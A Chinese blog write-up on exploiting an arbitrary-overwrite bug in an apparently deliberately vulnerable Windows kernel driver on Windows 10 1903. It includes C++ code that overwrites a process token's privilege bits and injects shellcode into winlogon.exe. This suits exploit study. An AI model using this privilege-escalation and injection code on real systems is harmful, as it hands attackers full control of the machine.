WindowKernelExploit2

为了更快的解决问题,我尝试着在网上搜索相关wp,但是发现很多该系列的文章讨论的都不是在这个版本上进行的,所以导致很多WP在这个平台上已经不适用了。
然而现实中,Windows Kernel的EXP却也依然能够涵盖到非常新的win10版本上,说明即使在最新的win10上,也依然有利用的机会。所以这边的第二篇想简单讨论以下这种攻击在win10 1903上依然通用的一种解法

本篇转自安全客 https://www.anquanke.com/post/id/213428


Window Kernel Exploit 02 - Arbitrary Overwrite

任意地址写,在用户态中也是一种常见的漏洞,其形式通常存在一个可以被控制的指针,以及在之后的逻辑中,会发生一次对指针内容的修改:

1
2
3
4
int vulnerable_function(int addr_user_input, int content_user_input){
int *ptr = addr_user_input;
*ptr = content_user_input
}

这种漏洞在用户态有一些很容易能够想到的利用方法,比如修改内存中一些固定模块的函数指针,然后调用对应函数,从而跳转到指定的控制流上。在内核中的利用思路也是类似,不过会多一些防护,之后会慢慢道来。

漏洞点

用IDA可以很容易的看到问题所在:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
int __stdcall ArbitraryOverwriteIoctlHandler(PIRP a1, PIO_STACK_LOCATION a2)
{
int v2; // ecx
v2 = 0xC0000001;
if ( a2->Parameters.DeviceIoControl.Type3InputBuffer )
v2 = TriggerArbitraryOverwrite((UserAddr *)a2->Parameters.DeviceIoControl.Type3InputBuffer);
return v2;
}
int __stdcall TriggerArbitraryOverwrite(UserAddr *UserAddress)
{
_DWORD *Where_addr; // edi
_DWORD *What_content; // ebx
ProbeForRead(UserAddress, 8u, 4u);
Where_addr = (_DWORD *)UserAddress->Where;
What_content = (_DWORD *)UserAddress->What;
DbgPrint("[+] UserWriteWhatWhere: 0x%p\n", UserAddress);
DbgPrint("[+] WRITE_WHAT_WHERE Size: 0x%X\n", 8);
DbgPrint("[+] UserWriteWhatWhere->What: 0x%p\n", Where_addr);
DbgPrint("[+] UserWriteWhatWhere->Where: 0x%p\n", What_content);
DbgPrint("[+] Triggering Arbitrary Overwrite\n");
*What_content = *Where_addr;
return 0;
}

这个UserAddr是一个由用户态定义的结构体:

1
2
3
4
5
struct UserAddr
{
int Where;
int What;
};

这个就是一个典型的write-what-where的漏洞

利用思路

往哪儿写(旧思路)

在内核态,遇到这种漏洞的时候,第一个想到的应该就是需要往哪儿写。一个常见的套路的是nt!haldispatchTable,这个地址是一个ntokrnl.exe中的一个用来存放函数指针的全局对象,修改这个table中一个很少被调用的APINtQueryIntervalProfile对应的位置nt!haldispatchTable+4(64bit 为 nt!haldispatchTable+8),此时就相当于是劫持了NtQueryIntervalProfile的调用。

要写什么(旧思路)

第一个直观的想法就是将用户态的shellcode地址写上去。然后就可以依照第一篇中写的EXP,修改一下放到这边去。但是这样的话,就有了第一章的CR4的问题。

新的地址(旧思路)

之前的做法需要用到ROP,我虽然找到了wjllz大师傅的博客,但是这个方法在我的测试环境上(1903)似乎不能正常work。于是我直接找到了他本人去问。大师傅人很好,给了我很多方向,然后我找到了一篇blackhat上的文章,里面提到了一种方法:

这个方法的原理是说,在形如NtGdiDdDDICreateAllocation,或者大佬博客里提到的NtGdiDdDDIGetContextSchedulingPriority这类和GDI相关的API调用的处理驱动中,有一片未初始化的可写可执行区域:

上图中的win32k!NtGdiDdDDIGetContextSchedulingPriority,这个地方就是驱动所在的导出表的位置

1
2
3
4
5
6
win32k!NtGdiDdDDIGetContextSchedulingPriority:
93e00689 ff259016e093 jmp dword ptr [win32k!_imp__NtGdiDdDDIGetContextSchedulingPriority (93e01690)]
win32k!NtGdiDdDDISetContextSchedulingPriority:
93e0068f ff258c16e093 jmp dword ptr [win32k!_imp__NtGdiDdDDISetContextSchedulingPriority (93e0168c)]
win32k!NtGdiDdDDIGetDeviceState:
93e00695 ff258816e093 jmp dword ptr [win32k!_imp__NtGdiDdDDIGetDeviceState (93e01688)]

然而我们顺着找这个win32k!_imp__NtGdiDdDDIGetContextSchedulingPriority的地址,可以找到如下内容:

1
2
3
4
1: kd> dd win32k!_imp__NtGdiDdDDIGetContextSchedulingPriority
93e01690 9090f62f 90858cb6 90935941 90935a69
93e016a0 9082dad0 940dd204 940dcc95 940dc939
93e016b0 940dbcce 940dbb6f 940dd2af 940dcbd7

这个9090f62f正好指向一个实现在dxgkrnl.sys的对应函数:

1
2
3
4
5
6
7
8
1: kd> u 9090f62f
dxgkrnl!DxgkGetContextSchedulingPriority:
9090f62f 68a8000000 push 0A8h
9090f634 68a0c17d90 push offset dxgkrnl!_realffefffffffffffff+0x1e30 (907dc1a0)
9090f639 e876a5e8ff call dxgkrnl!_SEH_prolog4_GS (90799bb4)
9090f63e 8b7508 mov esi,dword ptr [ebp+8]
9090f641 838d58ffffffff or dword ptr [ebp-0A8h],0FFFFFFFFh
9090f648 33db xor ebx,ebx

于是一个新的想法就产生了:能不能将这个win32k!_imp__NtGdiDdDDIGetContextSchedulingPriority指向的地址给修改成我们shellcode的地址呢?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
1: kd> dps win32kbase!gDxgkInterface
94193a30 002b018c
94193a34 94000000 win32kbase!EtwTraceUIPIInputError <PERF> (win32kbase+0x0)
94193a38 00000000
94193a3c 9082d944 dxgkrnl!DxgkCaptureInterfaceDereference
94193a40 9082d944 dxgkrnl!DxgkCaptureInterfaceDereference
94193a44 908254f6 dxgkrnl!DxgkProcessCallout
94193a48 907f4090 dxgkrnl!DxgkNotifyProcessFreezeCallout
94193a4c 9082a3e0 dxgkrnl!DxgkNotifyProcessThawCallout
94193a50 9080bf20 dxgkrnl!DxgkOpenAdapter
94193a54 907f2022 dxgkrnl!DxgkEnumAdapters2Impl
94193a58 9085b540 dxgkrnl!DxgkGetMaximumAdapterCount
94193a5c 90824d50 dxgkrnl!DxgkCloseAdapterImpl
94193a60 9081f8ac dxgkrnl!DxgkDestroyDevice
94193a64 90800180 dxgkrnl!DxgkEscape
94193a68 907ff340 dxgkrnl!DxgkGetPresentHistoryInternal
94193a6c 90935a69 dxgkrnl!DxgkReleaseProcessVidPnSourceOwners
94193a70 908e1b01 dxgkrnl!DxgkPollDisplayChildrenInternal
94193a74 90858a48 dxgkrnl!DxgkFlushPresentHistory
94193a78 907edf46 dxgkrnl!DxgkGetPathsModality
94193a7c 90829e40 dxgkrnl!DxgkFunctionalizePathsModality
94193a80 90829d20 dxgkrnl!DxgkApplyPathsModality
94193a84 908202aa dxgkrnl!DxgkFinalizePathsModality
94193a88 907e35a4 dxgkrnl!DxgkPersistPathsModality
94193a8c 9082d3d2 dxgkrnl!DxgkFreePathsModality
94193a90 907e1c10 dxgkrnl!DxgkAugmentCdsj
94193a94 90855550 dxgkrnl!DxgkGetPresentHistoryReadyEvent
94193a98 907f6dec dxgkrnl!DxgkGetDisplayConfigBufferSizes
94193a9c 907f65b4 dxgkrnl!DxgkQueryDisplayConfig
94193aa0 909439b3 dxgkrnl!DxgkHandleForceProjectionMonitor
94193aa4 9082cf80 dxgkrnl!DxgkUpdateCddDevmodeExtraData
94193aa8 90943e68 dxgkrnl!DxgkProcessDisplayCalloutBatch
94193aac 907f5de2 dxgkrnl!DxgkDisplayConfigDeviceInfo

令人头痛的是,这个dxgkrnl中记录的这API,与文章中提到的API完全不一样,逆向后发现,好像有一段判断逻辑发生了偏移:

于是现在有了两个继续研究的方向

  • 找到这个初始化函数的判断依据,想办法进行原先的那些API初始化
  • 在先有的函数上找到同类型的函数指针进行劫持

不过,说起来初始化的类型不同的话,应该会导致依赖中断号的上层调用的时候出现问题呀,不知道windows是怎么解决的问题。

不过,后来我仔细思考了一下这个利用方法,总结其他其目的应该是:

  • 通过修改dxgkrnl!DxgkGetContextSchedulingPriority的地址,这样就能够劫持NtGdiDdDDIGetContextSchedulingPriority
  • 第一次将这个函数劫持为ExAllocatePoolWithTag,然后通过调用NtGdiDdDDIGetContextSchedulingPriority去调用ExAllocatePoolWithTag,分配一个RWX的空间
  • 然后利用WWW漏洞,往这个空间写入shellcode
  • 修改dxgkrnl!DxgkGetContextSchedulingPriorityExAllocatePoolWithTag的地址,然后跳转到shellcode

既然是这个思路的话,那么为什么不使用最初提到的HalDispathTable?不过后来我试了一下发现返回值怪怪的,查看了ReactOS中的源码找到了原因:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
NTSTATUS
NTAPI
NtQueryIntervalProfile(IN KPROFILE_SOURCE ProfileSource,
OUT PULONG Interval)
{
KPROCESSOR_MODE PreviousMode = ExGetPreviousMode();
ULONG ReturnInterval;
NTSTATUS Status = STATUS_SUCCESS;
PAGED_CODE();
/* Check if we were called from user-mode */
if (PreviousMode != KernelMode)
{
/* Enter SEH Block */
_SEH2_TRY
{
/* Validate interval */
ProbeForWriteUlong(Interval);
}
_SEH2_EXCEPT(EXCEPTION_EXECUTE_HANDLER)
{
/* Return the exception code */
_SEH2_YIELD(return _SEH2_GetExceptionCode());
}
_SEH2_END;
}
/* Query the Interval */
ReturnInterval = (ULONG)KeQueryIntervalProfile(ProfileSource);
/* Enter SEH block for return */
_SEH2_TRY
{
/* Return the data */
*Interval = ReturnInterval;
}
_SEH2_EXCEPT(ExSystemExceptionFilter())
{
/* Get the exception code */
Status = _SEH2_GetExceptionCode();
}
_SEH2_END;
/* Return Success */
return Status;
}

原来这个位置只能接受一个传参啊。。。。

后来绕回这个dxgkrnl的逻辑,发现依然无法修改函数地址,我搜了非常多的资料,终于在这个网站上找到了答案:
https://www.unknowncheats.me/forum/2567493-post86.html
这里提到了一个很重要的事情:windows 1903中,大部分的函数已经不使用win32kbase作为proxy,而是直接由dxgkrnl.sys导出函数来调用
之前我试了很多次修改这个gDxgkInterface但是都不能work,原来是因为很多函数的逻辑里面根本就没有经过win32kbase!gDxgkInterface。。。。。。于是之前提到的所有利用手段都被堵上了。

和Linux kernel pwn的联想(新的思路)

在此期间一直在想,Linux的kernel pwn也是要找类似的跳板吗?看了一下相关ctf的writeup,发现大家其实都是再改cred这个结构体,这个结构体相当于是Linux中的一个权限管理结构体,所以通过修改这个结构体,就能够实现某个进程的提权。那Windows中就没有类似的结构体了吗?随着工作的进行,我发现Windows中的TOKEN这个结构体好像起到的作用就和这个cred类似,也是类似Windows下的权限控制(具体可以看这里Windows Via C/C++ note 4),那是不是改这个地方就可以了呢?

后来,又是wjllz大佬抬了一手,给了一篇文章:https://labs.bluefrostsecurity.de/blog/2020/01/07/cve-2019-1215-analysis-of-a-use-after-free-in-ws2ifsl/,这个文章里面提到了一个2012年就被提出来的,window kernel pwn应该做什么的文章http://media.blackhat.com/bh-us-12/Briefings/Cerrudo/BH_US_12_Cerrudo_Windows_Kernel_WP.pdf,完美解释了我心中的疑惑。wjllz大佬给的文章都很有价值,大力吹一波~这些内容之后应该会趁机研究一下记录。不过这边我们先顺着这个WP中的思路走,解决一下我们当前的问题。

通过修改_TOKEN来进行提权

一个进程中的TOKEN结构体如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
typedef struct _TOKEN
{
TOKEN_SOURCE TokenSource;
LUID TokenId;
LUID AuthenticationId;
LUID ParentTokenId;
LARGE_INTEGER ExpirationTime;
PERESOURCE TokenLock;
LUID ModifiedId;
SEP_TOKEN_PRIVILEGES Privileges;
SEP_AUDIT_POLICY AuditPolicy;
ULONG SessionId;
ULONG UserAndGroupCount;
ULONG RestrictedSidCount;
ULONG VariableLength;
ULONG DynamicCharged;
ULONG DynamicAvailable;
ULONG DefaultOwnerIndex;
PSID_AND_ATTRIBUTES UserAndGroups;
PSID_AND_ATTRIBUTES RestrictedSids;
PVOID PrimaryGroup;
ULONG * DynamicPart;
PACL DefaultDacl;
TOKEN_TYPE TokenType;
SECURITY_IMPERSONATION_LEVEL ImpersonationLevel;
ULONG TokenFlags;
UCHAR TokenInUse;
ULONG IntegrityLevelIndex;
ULONG MandatoryPolicy;
PSECURITY_TOKEN_PROXY_DATA ProxyData;
PSECURITY_TOKEN_AUDIT_DATA AuditData;
PSEP_LOGON_SESSION_REFERENCES LogonSession;
LUID OriginatingLogonSession;
SID_AND_ATTRIBUTES_HASH SidHash;
SID_AND_ATTRIBUTES_HASH RestrictedSidHash;
ULONG VariablePart;
} TOKEN, *PTOKEN;

据说这个结构体从Win7开始就没有太多的变动了,这里我们关注一下这几个结构体成员变量:

1
SEP_TOKEN_PRIVILEGES Privileges; // 0x40

这个结构体变量用bit位的方式记录了当前token中使用的privilege(特权)。我们都知道,token能够限制一个进程能能够对其他进程的权限控制,但是有时候我们也会需要有类似windbg之类的进程对其他各类进程进行调试,这个时候系统就会赋予调试器这个调试其他进程的特权。这个概念非常重要,我们通过给与当前进程特权,就能够往其他更高权限才能够接触到的进程中进行代码注入等,从而实现进程劫持等等,完成提权
我们首先检查一下当前进程使用的token是怎么样的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
: kd> !token
Thread is not impersonating. Using process token...
_EPROCESS 0xffffffffa25de040, _TOKEN 0x0000000000000000
TS Session ID: 0x1
User: S-1-5-21-3717723882-702046769-3252787667-1000
User Groups:
00 S-1-5-21-3717723882-702046769-3252787667-513
Attributes - Mandatory Default Enabled
01 S-1-1-0
Attributes - Mandatory Default Enabled
02 S-1-5-114
Attributes - Mandatory Default Enabled
03 S-1-5-32-544
Attributes - Mandatory Default Enabled Owner
04 S-1-5-32-545
Attributes - Mandatory Default Enabled
05 S-1-5-4
Attributes - Mandatory Default Enabled
06 S-1-2-1
Attributes - Mandatory Default Enabled
07 S-1-5-11
Attributes - Mandatory Default Enabled
08 S-1-5-15
Attributes - Mandatory Default Enabled
09 S-1-5-113
Attributes - Mandatory Default Enabled
10 S-1-5-5-0-252984
Attributes - Mandatory Default Enabled LogonId
11 S-1-2-0
Attributes - Mandatory Default Enabled
12 S-1-5-64-10
Attributes - Mandatory Default Enabled
13 S-1-16-12288
Attributes - GroupIntegrity GroupIntegrityEnabled
Primary Group: S-1-5-21-3717723882-702046769-3252787667-513
Privs:
05 0x000000005 SeIncreaseQuotaPrivilege Attributes -
08 0x000000008 SeSecurityPrivilege Attributes -
09 0x000000009 SeTakeOwnershipPrivilege Attributes -
10 0x00000000a SeLoadDriverPrivilege Attributes -
11 0x00000000b SeSystemProfilePrivilege Attributes -
12 0x00000000c SeSystemtimePrivilege Attributes -
13 0x00000000d SeProfileSingleProcessPrivilege Attributes -
14 0x00000000e SeIncreaseBasePriorityPrivilege Attributes -
15 0x00000000f SeCreatePagefilePrivilege Attributes -
17 0x000000011 SeBackupPrivilege Attributes -
18 0x000000012 SeRestorePrivilege Attributes -
19 0x000000013 SeShutdownPrivilege Attributes -
20 0x000000014 SeDebugPrivilege Attributes - Enabled <---所以当前进程token的特权值为0x2000
22 0x000000016 SeSystemEnvironmentPrivilege Attributes -
23 0x000000017 SeChangeNotifyPrivilege Attributes - Enabled Default
24 0x000000018 SeRemoteShutdownPrivilege Attributes -
25 0x000000019 SeUndockPrivilege Attributes -
28 0x00000001c SeManageVolumePrivilege Attributes -
29 0x00000001d SeImpersonatePrivilege Attributes - Enabled Default
30 0x00000001e SeCreateGlobalPrivilege Attributes - Enabled Default
33 0x000000021 SeIncreaseWorkingSetPrivilege Attributes -
34 0x000000022 SeTimeZonePrivilege Attributes -
35 0x000000023 SeCreateSymbolicLinkPrivilege Attributes -
36 0x000000024 SeDelegateSessionUserImpersonatePrivilege Attributes -
Authentication ID: (0,3dca6)
Impersonation Level: Anonymous
TokenType: Primary
Source: User32 TokenFlags: 0x2000 ( Token in use )
Token ID: b18ac1 ParentToken ID: 0
Modified ID: (0, 654e3e)
RestrictedSidCount: 0 RestrictedSids: 0x0000000000000000
OriginatingLogonSession: 3e7
PackageSid: (null)
CapabilityCount: 0 Capabilities: 0x0000000000000000
LowboxNumberEntry: 0x0000000000000000
Security Attributes:
Unable to get the offset of nt!_AUTHZBASEP_SECURITY_ATTRIBUTE.ListLink
Process Token TrustLevelSid: (null)

从上可以看到,我们当前进程的权限有一个SeDebugPrivilege,这个特权的意思是Required to debug and adjust the memory of a process owned by another account.,也就是说能够调试并且调整由其他账号拥有的进程中的内存。这个权限其实蛮高的(做这个实验的时候,我正在用windbg调试,所以权限才会这么高)。不过我们希望能够做到的是往其他进程中注入线程,那么这个时候我们需要的可能就不止这个权限了,一个比较无脑的方式就是能不能将这些特权全部拿到手,就能够保证我们必定提权成功了

于是我们稍微改动一下我们的利用code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
DWORD GetKernelPointer(HANDLE handle, DWORD type)
{
PSYSTEM_HANDLE_INFORMATION buffer = (PSYSTEM_HANDLE_INFORMATION)malloc(0x20);
DWORD outBuffer = 0;
NTSTATUS status = NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemHandleInformation, buffer, 0x20, &outBuffer);
if (status == STATUS_INFO_LENGTH_MISMATCH)
{
free(buffer);
buffer = (PSYSTEM_HANDLE_INFORMATION)malloc(outBuffer);
status = NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemHandleInformation, buffer, outBuffer, &outBuffer);
}
if (!buffer)
{
printf("[-] NtQuerySystemInformation error \n");
return 0;
}
for (size_t i = 0; i < buffer->NumberOfHandles; i++)
{
DWORD objTypeNumber = buffer->Handels[i].ObjectTypeNumber;
if (buffer->Handels[i].ProcessId == GetCurrentProcessId() && buffer->Handels[i].ObjectTypeNumber == type)
{
if (handle == (HANDLE)buffer->Handels[i].Handle)
{
//printf("%p %d %x\n", buffer->Handels[i].Object, buffer->Handels[i].ObjectTypeNumber, buffer->Handels[i].Handle);
DWORD object = (DWORD)buffer->Handels[i].Object;
free(buffer);
return object;
}
}
}
printf("[-] handle not found\n");
free(buffer);
return 0;
}
void InjectToWinlogon()
{
PROCESSENTRY32 entry;
entry.dwSize = sizeof(PROCESSENTRY32);
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);
int pid = -1;
if (Process32First(snapshot, &entry))
{
while (Process32Next(snapshot, &entry))
{
if (_wcsicmp(entry.szExeFile, L"winlogon.exe") == 0)
{
pid = entry.th32ProcessID;
break;
}
}
}
CloseHandle(snapshot);
if (pid < 0)
{
printf("Could not find process\n");
return;
}
HANDLE h = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
if (!h)
{
printf("Could not open process: %x", GetLastError());
return;
}
void* buffer = VirtualAllocEx(h, NULL, sizeof(shellcode), MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (!buffer)
{
printf("[-] VirtualAllocEx failed\n");
}
if (!buffer)
{
printf("[-] remote allocation failed");
return;
}
if (!WriteProcessMemory(h, buffer, shellcode, sizeof(shellcode), 0))
{
printf("[-] WriteProcessMemory failed");
return;
}
HANDLE hthread = CreateRemoteThread(h, 0, 0, (LPTHREAD_START_ROUTINE)buffer, 0, 0, 0);
if (hthread == INVALID_HANDLE_VALUE)
{
printf("[-] CreateRemoteThread failed");
return;
}
}
VOID TriggerArbitraryOverwrite(DWORD dwCTLCode) {
PVOID ExpAddress = &TokenStealingPayloadWin7;
DWORD dwRetSize = 0;
HANDLE hDev = GetDeviceHandle();
if (hDev == INVALID_HANDLE_VALUE)
return;
std::cout << "We Get handle is:" << std::hex << hDev << std::endl;
// New Method
HANDLE hCurrentProcess = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, GetCurrentProcessId());
if (!hCurrentProcess) {
std::cout << "[-] Open Current process faiiled" << std::endl;
return;
}
HANDLE hToken = 0;
// the TOKEN_ADJUST_PRIVILEGES will enable/disable the privelage token
if (!OpenProcessToken(hCurrentProcess, TOKEN_ADJUST_PRIVILEGES, &hToken)) {
std::cout << "[-] Couldn't get current process token" << std::endl;
return;
}
// The 0x5 is what??????
DWORD kToken = GetKernelPointer(hToken, 0x5);
DWORD dwTargetOffset = kToken + 0x48;
std::cout << "The target token offest is " << dwTargetOffset << std::endl;
WrtieWhatWhere *WWW = (WrtieWhatWhere*)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sizeof(WrtieWhatWhere));
WWW->Where = (ULONG_PTR)dwTargetOffset;
//std::cout << "Base address:" << dwBaseAddress << " ExOffset:" << ulExAllocatePool;
UINT64 uAllPrivelage= 0xffffffffffffffff;
WWW->What = (ULONG_PTR)&uAllPrivelage;
// WWW->What = (ULONG)&dwRealExAllocatePool;
// copy exp to target address
std::cout << "Now we will write[" << WWW->Where << "]:" << *(ULONG*)(WWW->What) << std::endl;
// send IOCTL to trigger
OutputDebugString(L"[+] =========== Kernel Mode =============== [+]");
DeviceIoControl(hDev, dwCTLCode, WWW, sizeof(WrtieWhatWhere), NULL, NULL, &dwRetSize, NULL);
OutputDebugString(L"[+] =========== IOCTL Finish =============== [+]");
std::cout << " IOCTL FIINISH "<<std::endl;
// Tro to inject code
InjectToWinlogon();
HeapFree(GetProcessHeap(), 0, WWW);
return;
}

然后试了一下。。。终于成功了!!!!

Exp分析

由于EXP是从别的地方抄过来的,有些地方其实有点云里雾里的,这里简单分析一下:

1
DWORD GetKernelPointer(HANDLE handle, DWORD type)

首先是这个函数,这是关键函数之一,正是用的这个函数我们找到了TOKEN的地址,不过话又说回来,这个函数做了些什么呢?函数首先尝试去call了NtSystemQueryInformation:

1
NTSTATUS status = NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemHandleInformation, buffer, 0x20, &outBuffer);

这个API其实功能非常强大,能够返回大量系统中的重要信息。这里当我们传入的变量为StstemHandleInformation的时候,返回的变量为SYSTEM_HANDLE_INFORMATION,具体定义如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO
{
ULONG ProcessId; // 当前对象从属的进程id
UCHAR ObjectTypeNumber; // 表示当前对象的类型
UCHAR Flags;
USHORT Handle; // 当前句柄
void* Object; // 句柄所对应的真正object的地址
ACCESS_MASK GrantedAccess;
} SYSTEM_HANDLE, *PSYSTEM_HANDLE;
typedef struct _SYSTEM_HANDLE_INFORMATION
{
ULONG NumberOfHandles;
SYSTEM_HANDLE Handels[1];
} SYSTEM_HANDLE_INFORMATION, *PSYSTEM_HANDLE_INFORMATION;

这个地方用了一个无限制数组的技巧:这个Handles[1]其实长度可以超过1,但是这样写的话能够让编译器知道这是一段数组,从而可以无限加长这个结构体的长度,不过用sizeof查看的时候,这个Handles是当作一个数组指针大小在考虑
通过调用这个函数,能够拿到当前进程中所有打开的句柄。于是我们通过检查句柄类型,找到当前进程中使用的TOKEN的句柄。不过具体这个ObjectTypeNumber具体是几表示什么意思,好像网上的资料并不多。。。不过我通过processexp配合函数,大概总结出几个来:

1
2
3
4
5
3 --> Directory
5 --> Token
7 --> Process
37 --> File
44 --> Key

于是这里通过给GetKernelPointer传入0x5,获取到这个TOKEN对象的真正的地址。于是之后我们就能够拿到_TOKEN结构体中偏移地址为0x40的结构体_SEP_TOKEN_PRIVILEGES:

1
2
3
4
nt!_SEP_TOKEN_PRIVILEGES
+0x000 Present : Uint8B
+0x008 Enabled : Uint8B
+0x010 EnabledByDefault : Uint8B

此时Present表示的是这个token中被开启的特权,而Enabled中表示的是当前token中被允许的特权。在之前提到的这篇文章中,作者发现,其实Windows并不会check一个token的Present值,而是checkEnabled这个位置上的值有没有被打开,来证明其权限是否打开了。所以这里我们就能够简单的利用这一点,将这个变量修改为-1,从而让当前的token获得最高的权限。

踩坑记录

  1. 写这篇文章的时候,居然正逢微软服务器炸了,搞得服务器上的符号下载不下来。(第一次真正意义上甩锅给微软了。。。),导致分析驱动的时候遇到了很大的问题。主要体现在分析win32k.sys的时候,正常看起来是这样的

    但是我当时看起来,这段地址直接不能访问,我只好自己建立了一个节,然后访问过去是这样的

    现在想起来,似乎是当时由于符号服务器炸了,ida导入了错误的符号表,导致连PE头都识别错了。具体错误原因我猜测应该和符号有关系,因为等过了两天符号服务器好了之后,莫名其妙的之前的坑都消失了。。。
  2. 调试的时候遇到的第一个问题就是这段内容:
1
2
3
4
5
6
win32k!NtGdiDdDDIGetContextSchedulingPriority:
93e00689 ff259016e093 jmp dword ptr [win32k!_imp__NtGdiDdDDIGetContextSchedulingPriority (93e01690)]
win32k!NtGdiDdDDISetContextSchedulingPriority:
93e0068f ff258c16e093 jmp dword ptr [win32k!_imp__NtGdiDdDDISetContextSchedulingPriority (93e0168c)]
win32k!NtGdiDdDDIGetDeviceState:
93e00695 ff258816e093 jmp dword ptr [win32k!_imp__NtGdiDdDDIGetDeviceState (93e01688)]

这段内容中,我想要查看win32k!_imp__NtGdiDdDDIGetContextSchedulingPriority指向的内容,检查过去发现地址是这样的

1
2
3
4
1: kd> dd win32k!_imp__NtGdiDdDDIGetContextSchedulingPriority
93e01690 9090f62f 90858cb6 90935941 90935a69
93e016a0 9082dad0 940dd204 940dcc95 940dc939
93e016b0 940dbcce 940dbb6f 940dd2af 940dcbd7

这个9090f62f就是要跳转的内容,但是我想查看的时候看到的内容是这样的

1
2
3
4
1: kd> dd 9090f62f
9090f62f ???????? ???????? ???????? ????????
9090f63f ???????? ???????? ???????? ????????
9090f64f ???????? ???????? ???????? ????????

就很奇怪。。。后来我问了wjllz大佬,他说可能是地址空间的问题,然后给了一篇博客,里面提到了一个指令

1
2
3
!process 0 0 csrss.exe
.process /p /f EPROCESS address show above

然而我这么做之后,发现地址空间依然没有被映射,后来找到另一个暴力的指令:

1
.pagein /f addr

这个指令会强迫映射地址空间,这次成功的找到了地址内容:

1
2
3
4
5
6
7
8
1: kd> u 9090f62f
dxgkrnl!DxgkGetContextSchedulingPriority:
9090f62f 68a8000000 push 0A8h
9090f634 68a0c17d90 push offset dxgkrnl!_realffefffffffffffff+0x1e30 (907dc1a0)
9090f639 e876a5e8ff call dxgkrnl!_SEH_prolog4_GS (90799bb4)
9090f63e 8b7508 mov esi,dword ptr [ebp+8]
9090f641 838d58ffffffff or dword ptr [ebp-0A8h],0FFFFFFFFh
9090f648 33db xor ebx,ebx
  1. 中途一度放弃使用APINtGdiDdDDIGetContextSchedulingPriority,因为自己并没有去深究这个win32u.dll是什么。第二天和同事一起看的时候意外发现,无论怎么调用这里面的API,调用都会失败。使用windbg去调试之后发现,居然是在ntdll!KiUserCallbackDispatcher调用失败了:
1
2
3
4
.text:6A291428 pop edx
.text:6A291429 mov eax, large fs:30h
.text:6A29142F mov eax, [eax+2Ch]
.text:6A291432 mov ecx, [eax+edx*4] <--------这一句,eax为0导致的

经过我们查看,这段逻辑是这样的:

1
NtCurrentPeb()->KernelCallbackTable[Index]

这就很奇怪了,进程的KernelCallbackTable居然是空的。那什么时候会填充呢?查来查去发现,原来是user32.dll中会初始化的东西,用来处理一些Ring0的系统调用。而我之前就真的很巧,没有把user32.dll包含在进程中。。。。。所以为了做戏做全套,这边只需要调用

1
LoadLibrary(L"gdi32.dll")

即可将user32.dll也导入。(gdi32.dll的初始化是在user32.dll中完成的)

1
2
3
4
5
6
7
8
9
10
11
12
94193a54 907f2022 dxgkrnl!DxgkEnumAdapters2Impl
94193a58 9085b540 dxgkrnl!DxgkGetMaximumAdapterCount
94193a5c 81b2c9ea nt!ExAllocatePool
94193a60 9081f8ac dxgkrnl!DxgkDestroyDevice
1: kd> k
# ChildEBP RetAddr
00 ad6e0b88 81b7628b dxgkrnl!DxgkCloseAdapter
01 ad6e0b88 77851570 nt!KiSystemServicePostCall
WARNING: Frame IP not in any known module. Following frames may be wrong.
02 0053fa7c 00ad18d5 0x77851570
03 0053fac8 777420f9 0xad18d5

不过非常遗憾。。这个问题再Win1903上无法解决。。。我找到了一个大佬云集的论坛里面提到了这个问题:
https://www.unknowncheats.me/forum/anti-cheat-bypass/335585-communicating-mapped-driver-using-hooks-5.html
这个地方的人提到了,win1903里面这个gDxgkInterface接口不再导出函数了,而是直接在dxgkrnl.sys导出表里面导出,这样的话这段地址就受到了PG的保护,不能再被拿来利用了。。

  1. 找到秘籍之后,我第一次是无脑拷贝了shellcode,结果发生了报错:
1
2
3
4
5
6
7
8
*** An Access Violation occurred in winlogon.exe:
The instruction at 029F00D1 tried to write to an invalid address, 0053DFFE
*** enter .exr 02D4F880 for the exception record
*** enter .cxr 02D4F89C for the context
*** then kb to get the faulting stack

后来发现人家的shellcode是x64平台上的,我这个是x86,所以换了一个shellcode就好了。。